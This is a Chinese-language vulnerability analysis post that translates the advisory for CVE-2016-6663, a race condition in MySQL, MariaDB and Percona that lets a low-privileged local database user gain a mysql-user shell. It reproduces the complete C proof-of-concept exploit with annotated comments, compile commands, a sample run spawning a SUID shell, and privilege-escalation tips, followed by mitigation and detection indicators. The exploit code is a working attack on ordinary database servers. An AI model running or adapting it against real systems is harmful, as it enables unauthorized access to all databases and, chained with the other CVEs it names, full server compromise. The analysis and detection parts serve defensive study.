mysql cve 2016 3521_MySQL-based databases CVE -2016-6663 本地提权
@date: 2016/11/3
@author: dlive
0x01 漏洞原文
翻譯水平不高求輕噴
感覺作者在寫文章的時候有些地方描述的也不是特別清楚,不過結合poc可以清晰理解漏洞利用過程
0x04漏洞利用過程總結給出了清晰的漏洞利用過程,結合poc食用效果更佳
# http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
=============================================
- Release date: 01.11.2016
- Discovered by: Dawid Golunski
- Severity: Critical
- CVE-2016-6663 / OCVE-2016-5616
- http://legalhackers.com
=============================================
I. VULNERABILITY
-------------------------
MySQL / MariaDB / PerconaDB - Privilege Escalation / Race Condition
MariaDB
< 5.5.52
< 10.1.18
< 10.0.28
MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14
Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8
Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0
III. INTRODUCTION
-------------------------
An independent research has revealed a race condition vulnerability which is
present in MySQl, MariaDB and PerconaDB databases.
一個獨立研究者在MySQL,MariaDB, PerconaDB上發現一個競態條件漏洞
The vulnerability can allow a local system user with access to the affected
database in the context of a low-privileged account (CREATE/INSERT/SELECT grants)
to escalate their privileges and execute arbitrary code as the database system
user (typically 'mysql').
假設本地系統用戶test_user具有訪問數據庫的一個低權限權限用戶test_db_user,并且該用戶具有數據庫的create/insert/select權限。該漏洞可以將test_user權限提升為數據庫系統用戶權限(一般為mysql用戶)
Successful exploitation would allow an attacker to gain access to all of the
databases stored on the affected database server.
成功攻擊后攻擊者可以獲取訪問所有數據庫文件的權限
The obtained level of access upon the exploitation, could be chained with
the other privilege escalation vulnerabilities discovered by the author of
this advisory (CVE-2016-6662 and CVE-2016-6664) to further escalate privileges
from mysql user to root user and thus allow attackers to fully compromise the
target server.
通過該漏洞獲取權限后,可結合其他本地提權漏洞(如該漏洞作者發現的CVE-2016-6662 and CVE-2016-6664)進行更高的權限提升(從mysql到root),這會導致攻擊者進一步對服務器造成危害
IV. DESCRIPTION
-------------------------
Table locations
?~~~~~~~~~~~~~~~~~~
MySQL-based databases allow users with CREATE table privilege to optionally
specify a disk path of the directory where the table will be stored via a DATA
DIRECTORY parameter in the CREATE statement.
基于MySQL的數據庫允許擁有Create權限的用戶指定create table時table文件在磁盤上的存儲路徑(通過create語句的DATA DIRECTORY參數可以指定該路徑)
Users who have access to a database account with CREATE grant could create a
table under a directory that they can control. For example:
擁有create權限的用戶可以在他們有權限的目錄下創建一個table,例:
attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/
A user could then place a table within the directory with the following SQL
statement:
該用戶可以通過SQL語句在該目錄下創建table:
mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
which would result in creating the following table file:
以上操作會創建如下table文件:
attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD
Race Condition
?~~~~~~~~~~~~~~~~~~
Observing file operations performed on the table stored within the directory,
it was discovered that REPAIR TABLE SQL statement which is available to
low-privileged users with SELECT/CREATE/INSERT grants, performed unsafe
operations on temporary files created during the table repair process.
觀察table被存儲在指定路徑時的文件操作,當運行table修復進程時,REPAIR TABLE的SQL語句存在一個對臨時文件的不安全的文件操作,而且擁有select/create/insert權限的低權限用戶可以執行REPAIR TABLE的SQL語句。
Executing the statement:
執行以下SQL語句:
mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table | Op | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status | OK |
+----------------+--------+----------+----------+
would result in execution of the following system calls:
這條REPAIR TABLE語句會導致如下系統調用被執行:
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid 1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid 1463] lseek(65, 0, SEEK_CUR) = 0
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid 1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid 1463] lseek(65, 0, SEEK_END) = 0
[pid 1463] lseek(64, 0, SEEK_END) = 1024
[pid 1463] close(65) = 0
[pid 1463] close(66) = 0
[pid 1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid 1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid 1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid 1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0
The first call:
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
was found to check file permissions of poctab1.MYD table which are then copied with chmod()
to the newly created poctab1.TMD temporary file containing the repaired table.
第一系統調用會檢查poctab1.MYD的權限,之后會通過chmod()將其權限復制到新創建的名為poctab1.TMD的臨時文件,這個臨時文件中存貯著被修復的table.
The code is vulnerable to Race Condition between the call:
以下兩個操作間存在競態條件漏洞:
[pid 1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
and
[pid 1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
If an attacker managed to unlink the temporary table poctab1.TMD and replace it
with a symlink to /var/lib/mysql before the chmod() operation (i.e. win the race),
they would be able to apply arbitrary permissions on the data directory.
The attacker would be able to control the set of permissions by pre-setting them on
poctab1.MYD file before executing the REPAIR TABLE statement.
For example, by setting the permissions of poctab1.MYD to 777 the data directory
would become readable and writable to the attacker.
如果攻擊者在chmod()操作前刪除(即贏得競爭)poctab1.TMD并將其替換為一個指向/var/lib/mysql的符號鏈接,攻擊者可以給該路徑賦予任何權限。
攻擊者可以在REPAIR TABLE語句執行前通過預設某個權限給poctab1.MYD文件來控制/var/lib/mysql的權限。
例如,給poctab1.MYD設置777的權限,mysql的數據目錄(/var/lib/mysql)就會被設置為777權限,這時攻擊者就可以對該目錄進行讀寫。
(現在可以給/var/lib/mysql設置任意權限)
Obtaining mysql-suid shell
?~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Apart from gaining access to arbitrary mysql files, the attacker could also
achieve arbitrary code execution in the context of mysql user (mysql shell).
除了獲取訪問任意mysql文件的權限,攻擊者還可以mysql用戶執行任意代碼
This could be done by first pre-setting permissions on poctab1.MYD to 04777
(suid), and winning the race so that the permissions get applied on a copy
of a bash shell file through the vulnerable chmod() call effectively creating
a shell that elevates their permissions after execution.
首先要設置poctab1.MYD的權限為04777(suid),之后復制一個bash shell文件覆蓋poctab1.MYD, 然后贏得競爭,這時chmod()會將04777的權限賦予bash shell
There is only one problem. Their suid shell would remain to be owned by the
attacker's user id and not 'mysql' user.
要成功利用漏洞還有一個問題需要解決:suid shell將只會保留攻擊者的UID,而不是mysql用戶。
To elevate their privileges, attacker would need to copy the bash shell to a
mysql-owned table file which are owned by mysql user. However mysql table
files are not writable by other users making it impossible for attacker to save
the shell.
為了提升權限,攻擊者需要拷貝bash shell到mysql用戶擁有的table文件,但是other用戶沒有對表文件的寫權限。
This could be bypassed if attacker created a specially crafted directory
with a group sticky bit and then created a second table named 'poctab2' as
follows:
攻擊者可以精心構造一個sgid的目錄繞過以上限制,然后創建第二個表文件名為poctab2,如下
attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/
mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)
attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD
As we can see poctab2.MYD table (thanks to the sticky bit (+s) on the permissions
of the group on disktable directory) has 'mysql' as the owner but 'attacker'
as the group.
我們可以看到poctab2.MYD的owner為mysql但是group是attacker
Therefore, the attacker would now be able to copy /bin/bash to poctab2.MYD file
and preserve the file owner.
因此,攻擊者現在可以用/bin/bash覆蓋poctab2.MYD文件并且可以保存文件的owner為mysql
Finally, they could exploit the Race Condition again and have SUID + exec
permissions applied on poctab2.MYD which would then allow them to execute the suid
shell with elevated privileges of the mysql user.
最后攻擊者可以贏得競爭并獲得suid+執行權限的poctab2.MYD,攻擊者最終可以獲得一個mysql user的shell
From mysql to root
?~~~~~~~~~~~~~~~~~~~~~~~~
After obtaining a mysql suid shell, attackers could then exploit one of the
other MySQL vulnerabilities discovered by the author of this advisory:
CVE-2016-6662
or
CVE-2016-6664 (OCVE-2016-5617)
to escalate their privileges from mysql user to root system user.
獲得mysql shell之后,攻擊者可以繼續利用其他漏洞如CVE-2016-6662或者CVE-2016-6664提升權限到root
V. PROOF OF CONCEPT EXPLOIT
-------------------------
------------------[ mysql-privesc-race.c ]--------------------
見0x03漏洞利用代碼分析
------------------[ EOF ]--------------------
Example run:
?~~~~~~~~~~~~~~
attacker@xenial:~/mysql-exploit$ lsb_release -a
No LSB modules are available.
Distributor ID:Ubuntu
Description:Ubuntu 16.04.1 LTS
Release:16.04
Codename:xenial
attacker@xenial:~/mysql-exploit$ dpkg -l | grep -i mariadb-serv
ii mariadb-server 10.0.27-0ubuntu0.16.04.1 all MariaDB database server (metapackage depending on the latest version)
ii mariadb-server-10.0 10.0.27-0ubuntu0.16.04.1 amd64 MariaDB database server binaries
ii mariadb-server-core-10.0 10.0.27-0ubuntu0.16.04.1 amd64 MariaDB database core server files
attacker@xenial:~/mysql-exploit$ id
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)
attacker@xenial:~/mysql-exploit$ mysql -uattacker -ppocsql -hlocalhost pocdb -e 'show grants;'
+-----------------------------------------------------------------------------------------------------------------+
| Grants for attacker@localhost |
+-----------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'attacker'@'localhost' IDENTIFIED BY PASSWORD '*3CC3900C7B2B0A885AB128894FC10949340A09CC' |
| GRANT SELECT, INSERT, CREATE, DROP ON `pocdb`.* TO 'attacker'@'localhost' |
+-----------------------------------------------------------------------------------------------------------------+
attacker@xenial:~/mysql-exploit$ ls -l /var/lib/mysql/mysql/user.*
ls: cannot access '/var/lib/mysql/mysql/user.*': Permission denied
attacker@xenial:~/mysql-exploit$ time ./mysql-privesc-race attacker pocsql localhost pocdb
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit as:
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)
[+] Connecting to the database `pocdb` as attacker@localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_exploit
[+] Creating mysql tables
DROP TABLE IF EXISTS exploit_table
DROP TABLE IF EXISTS mysql_suid_shell
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits :
-rw-rw---- 1 mysql attacker 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
[+] Entering the race loop... Hang in there...
[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell:
-rwsrwxrwx 1 mysql attacker 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)
mysql_suid_shell.MYD-4.3$ whoami
mysql
mysql_suid_shell.MYD-4.3$ id
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
-rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 mysql mysql 168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI
mysql_suid_shell.MYD-4.3$ exit
exit
[+] Job done. Exiting
real0m28.999s
user0m0.016s
sys0m0.016s
VI. BUSINESS IMPACT
-------------------------
Malicious local users with DB access granted a common set of privileges
(SELECT/INSERT/CREATE) could exploit this vulnerability to execute arbitrary
code and escalate their privileges to mysql system user. This would allow them
to gain access to all of the databases stored on the server as well as exploit
CVE-2016-6662 or CVE-2016-6664 vulnerabilities to further elevate privileges
to root system user (rootshell) and fully compromise the target server.
擁有select/insert/create權限的惡意本地用戶可以利用這個漏洞執行任意代碼并且可以提升權限到mysql系統用戶。這會使他們有權限訪問服務器上的所有的數據庫文件,結合CVE-2016-6662或者CVE-2016-6664可以進一步提升權限到root用戶。
This vulnerability could for example be exploited by malicious users in a shared
hosting environment where each user is supposed to have access to only one
database assigned to them.
例如,這個漏洞可以被共享環境(每個用戶都被分配了一個可以訪問的數據庫)下的惡意用戶利用。
It could also be exploited by attackers who have managed to find a vulnerability
in a website and gained access to the target system as a low-privileged user
(such as apache/www-data).
這個漏洞還可以被通過web入侵的已經獲得了低權限用戶(如apache/www-data用戶)的攻擊者利用
VIII. SOLUTION
-------------------------
Update to security releases issued by the vendor.
更新補丁。
As a temporary mitigation, you can disable symbolic link support in the
database server configuration with the following my.cnf config setting:
作為臨時緩解措施,您可以在數據庫配置文件my.cnf中禁用符號鏈接的支持
symbolic-links = 0
Nevertheless, an update to a patched release is recommended.
更好的解決方法是補丁更新后,建議為服務器打上最新補丁。
0x02 漏洞驗證
系統: Debian 4.0.4-1 kali2 x86_64
MySQL版本: 5.5.47
低權限系統用戶: attacker(新建的用戶,低權限用戶)
數據庫: test_6663 用戶: test_6663 密碼: 6663
數據庫權限:create/insert/select/drop
編譯exp:
如果編譯失敗可能是缺少mysql庫,使用sudo apt-get install libmysqld-dev安裝
#若需指定mysqlclient動態鏈接庫路徑,可加上-L參數如-L/usr/lib64/mysql
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
運行exp效果:
可以看到提權后的用戶是mysql,可以讀取mysql的數據文件,如圖讀到root密碼為空,test_6663的mysql加密的密碼
攻擊成功后如果想再次獲得mysql系統用戶權限的shell不用再次進行攻擊,只需運行mysql_suid_shell.MYD文件即可,但這個地方有個坑,直接運行該文件發現不會獲得mysql權限,運行時需要加上-p參數,即./mysql_suid_shell.MYD -p -i(詳細原因參加0x05漏洞/利用模型抽象 - 2.權限提升tips - 3.使用SUID)
0x03 漏洞利用代碼分析
感覺作者在寫文章的時候有些地方描述的也不是特別清楚,不過結合poc可以清晰理解漏洞利用過程
/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / OCVE-2016-5616
Discovered/Coded by:
Dawid Golunski
dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com
Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
Note:
* On RedHat-based systems you might need to change /tmp to another public directory
在基于redhat的系統上,你可能需要將/tmp目錄改為其他的目錄如/uploads
* For testing purposes only. Do no harm.
Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define EXP_PATH "/tmp/mysql_privesc_exploit"
#define EXP_DIRN "mysql_privesc_exploit"
#define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD"
#define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD"
#define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary
MYSQL *conn; // DB handles
MYSQL_RES *res;
MYSQL_ROW row;
unsigned long cnt;
void intro() {
printf(
"\033[94m\n"
"MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
"mysql-privesc-race.c (ver. 1.0)\n\n"
"CVE-2016-6663 / OCVE-2016-5616\n\n"
"For testing purposes only. Do no harm.\n\n"
"Discovered/Coded by:\n\n"
"Dawid Golunski \n"
"http://legalhackers.com"
"\033[0m\n\n");
}
void usage(char *argv0) {
intro();
printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}
void mysql_cmd(char *sql_cmd, int silent) {
if (!silent) {
printf("%s \n", sql_cmd);
}
if (mysql_query(conn, sql_cmd)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
res = mysql_store_result(conn);
if (res>0) mysql_free_result(res);
}
int main(int argc,char **argv)
{
int randomnum = 0;
int io_notified = 0;
int myd_handle;
int wpid;
int is_shell_suid=0;
pid_t pid;
int status;
struct stat st;
/* io notify */
int fd;
int ret;
char buf[4096] __attribute__((aligned(8)));
int num_read;
struct inotify_event *event;
/* credentials */
char *user = argv[1];
char *password = argv[2];
char *db_host = argv[3];
char *database = argv[4];
// Disable buffering of stdout
setvbuf(stdout, NULL, _IONBF, 0);
// Get the params
if (argc!=5) {
usage(argv[0]);
exit(1);
}
intro();
// Show initial privileges
printf("\n[+] Starting the exploit as: \n");
system("id");
// Connect to the database server with provided credentials
// 連接數據庫
printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
conn = mysql_init(NULL);
if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
fprintf(stderr, "%s\n", mysql_error(conn));
exit(1);
}
// Prepare tmp dir
// 新建目錄/tmp/mysql_privesc_exploit,并未該目錄設置SGID
printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
umask(000);
system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
system("chmod g+s /tmp/" EXP_DIRN );
// Prepare exploit tables :)
// 新建兩個表exploit_table和mysql_suid_shell
printf("\n[+] Creating mysql tables \n\n");
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
// 拷貝/bin/bash到mysql_suid_shell.MYD
printf("\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n");
system("cp /bin/bash " SUID_SHELL);
system("ls -l " SUID_SHELL);
// Use inotify to get the timing right
fd = inotify_init();
if (fd < 0) {
printf("failed to inotify_init\n");
return -1;
}
ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);
/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */
printf("\n[+] Entering the race loop... Hang in there...\n");
// 判斷mysql_suid_shell.MYD是否被設置了suid
while ( is_shell_suid != 1 ) {
cnt++;
if ( (cnt % 100) == 0 ) {
printf("->");
//fflush(stdout);
}
/* Create empty file , remove if already exists */
// 刪除exploit_table.TMD
unlink(MYSQL_TEMP_FILE);
// 刪除exploit_table.MYD
unlink(MYSQL_TAB_FILE);
mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);
/* random num if needed */
srand ( time(NULL) );
randomnum = ( rand() % MAX_DELAY );
// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
// 替換exploit_table.tmd為符號鏈接
pid = fork();
if (pid < 0) {
fprintf(stderr, "Fork failed :(\n");
}
/* Child process - executes REPAIR TABLE SQL statement */
// 子進程執行REPAIR操作, 該操作會生成一個TMD文件
if (pid == 0) {
usleep(500);
unlink(MYSQL_TEMP_FILE);
mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
// child stops here
exit(0);
}
// 父進程將exploit_table.tmd替換為符號鏈接
/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
if (pid > 0 ) {
io_notified = 0;
while (1) {
int processed = 0;
ret = read(fd, buf, sizeof(buf));
if (ret < 0) {
break;
}
while (processed < ret) {
event = (struct inotify_event *)(buf + processed);
if (event->mask & IN_CLOSE) {
if (!strcmp(event->name, "exploit_table.TMD")) {
//usleep(randomnum);
// Set the .MYD permissions to suid+exec before they get copied to the .TMD file
// 將MYD的權限設置為04777(suid+exec)
// 刪除mysql建立的exploit_table.MYD
unlink(MYSQL_TAB_FILE);
// 以attacker身份新建exploit_table.MYD
myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
close(myd_handle);
// 將MYD權限改為04777
chmod(MYSQL_TAB_FILE, 04777);
// 將exploit_table.TMD換為符號鏈接,指向mysql_suid_shell.TMD
// Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
unlink(MYSQL_TEMP_FILE);
symlink(SUID_SHELL, MYSQL_TEMP_FILE);
io_notified=1;
}
}
processed += sizeof(struct inotify_event);
}
if (io_notified) {
break;
}
}
waitpid(pid, &status, 0);
}
// Check if SUID bit was set at the end of this attempt
if ( lstat(SUID_SHELL, &st) == 0 ) {
if (st.st_mode & S_ISUID) {
is_shell_suid = 1;
}
}
}
printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
system("ls -l " SUID_SHELL);
printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
//啟動bash shell,因為設置了SUID,所以會獲得mysql權限
system(SUID_SHELL " -p -i ");
//system(SUID_SHELL " -p -c '/bin/bash -i -p'");
/* close MySQL connection and exit */
printf("\n[+] Job done. Exiting\n\n");
mysql_close(conn);
return 0;
}
0x04 漏洞利用過程總結
兩個重要過程:
MySQL創建表指定路徑(雖然和漏洞利用沒太大關系但還是提一下XD)
MySQL指定create table的路徑時會將數據庫MYD文件存放在指定路徑,并且會在/var/lib/mysql/database_name/下建立符號鏈接
MySQL REPAIR過程
strace -p pid_of_mysql -f -o output_file
修復過程中原MYD文件會被刪除,TMD文件會被重命名為新的MYD文件,漏洞存在于lstat和chmod之間(見0x01漏洞原文和0x05 1.競態條件漏洞模型)
以漏洞利用中操作的數據庫表的不同進行分類,整個漏洞利用過程可分為兩塊:
對mysql_suid_shell表的操作
新建mysql_suid_shell表,并將MYD文件指定存儲到設置sgid的文件夾/tmp/mysql_privesc_exploit中,使得mysql_suid_shell.MYD的屬性變為mysql的owner和attacker的group(原理見0x05),從而attacker可以拷貝/bin/bash到/tmp/mysql_privesc_exploit/mysql_suid_shell.MYD,并且文件的owner為mysql
對exploit_table表的操作
新建exploit_table表,并將MYD文件指定存儲到/tmp/mysql_privesc_exploit中,刪除mysql建立的MYD,以attacker身份新建MYD, 然后Repair exploit_table, 在repair的過程中會生成TMD文件,通過贏得競爭將TMD文件設置為指向mysql_suid_shell.MYD的符號鏈接,因為TMD的權限與MYD相同,MYD的權限可由attacker控制,從而實現修改mysql_suid_shell.MYD的權限為04777(set-uid+exec),然后啟動mysql_suid_shell.MYD即可
攻擊成功后/tmp/mysql_privesc_exploit下文件的狀態:
root@dlive:/tmp/mysql_privesc_exploit# ls -la
總用量 1016
drwxrwsrwx 2 attacker attacker 4096 11月 9 19:15 .
drwxrwxrwt 18 root root 4096 11月 9 19:12 ..
-rwsrwxrwx 1 attacker attacker 0 11月 9 19:15 exploit_table.MYD
lrwxrwxrwx 1 attacker attacker 47 11月 9 19:15 exploit_table.TMD -> /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
-rwsrwxrwx 1 mysql attacker 1029624 11月 9 19:12 mysql_suid_shell.MYD
0x05 漏洞/利用模型抽象
根據漏洞原理我們可以抽象出一個簡化的漏洞模型,漏洞模型的抽象有利于對漏洞的理解和知識體系的形成。
這個CVE-2016-6663可以被抽象為兩個漏洞模型(比較簡單):
1.競態條件漏洞模型
在此漏洞中首先對MYD文件進行了lstat()操作獲取其權限信息,然后對TMD文件進行chmod()操作,將獲取的權限信息賦予TMD,若lstat后將TMD文件換為符號鏈接,連接到攻擊者可控文件,攻擊者即可進行權限提升。
詳細競態條件漏洞demo可以參考SEEDLabs的實驗:
2.權限提升tips
使用符號鏈接
ln -s file1 file2 #創建符號鏈接file2指向file1
對符號鏈接chmod的效果是目標文件的權限會被改變,有的時候符號鏈接還可以用來繞過目錄訪問限制
使用SGID
如果對目錄設置SGID,那么會有如下效果:
若使用者在此目錄下具有w的權限(可以新建文件),則使用者所創建的新文件,該新文件的group與此目錄的group相同。
使用SUID
設置SUID的mysql_suid_shell.MYD會以其owner權限運行,但是這有個坑,就是bash對suid有保護,運行mysql_suid_shell.MYD時需要加上-p選項才能真正讓SUID生效(參加:http://unix.stackexchange.com/questions/116792/privileged-mode-in-bash)
#bash man page
-p
Turn on privileged mode. In this mode, the `$BASH_ENV' and
`$ENV' files are not processed, shell functions are not
inherited from the environment, and the `SHELLOPTS',
`BASHOPTS', `CDPATH' and `GLOBIGNORE' variables, if they
appear in the environment, are ignored. If the shell is
started with the effective user (group) id not equal to the
real user (group) id, and the `-p' option is not supplied,
these actions are taken and the effective user id is set to
the real user id. If the `-p' option is supplied at startup,
the effective user id is not reset. Turning this option off
causes the effective user and group ids to be set to the real
user and group ids.
0x06 應急響應
該漏洞的暫時修補方案為在my.conf中禁用符號鏈接
symbolic-links = 0
攻擊檢測:
CVE-2016-6663作者提供的exp默認在提權成功后未刪除表和表文件,所以我們可以簡單從一下幾點判斷是否服務器是否被此漏洞攻擊
mysql --vesion 判斷版本信息
/tmp/mysql_privesc_exploit 文件夾是否存在,以及文件夾下是否存在exploit_table.MYD, exploit_table.TMD, mysql_suid_shell.MYD等文件
/var/lib/mysql/下面某數據庫目錄下是否存在exploit_table.MYD或mysql_suid_shell.MYD的符號鏈接
mysql數據庫中是否存在exploit_table或mysql_suid_shell表
0x07 參考資料
總結
以上是生活随笔為你收集整理的mysql cve 2016 3521_MySQL-based databases CVE -2016-6663 本地提权的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql table fetching
- 下一篇: TypeError: ufunc ‘mu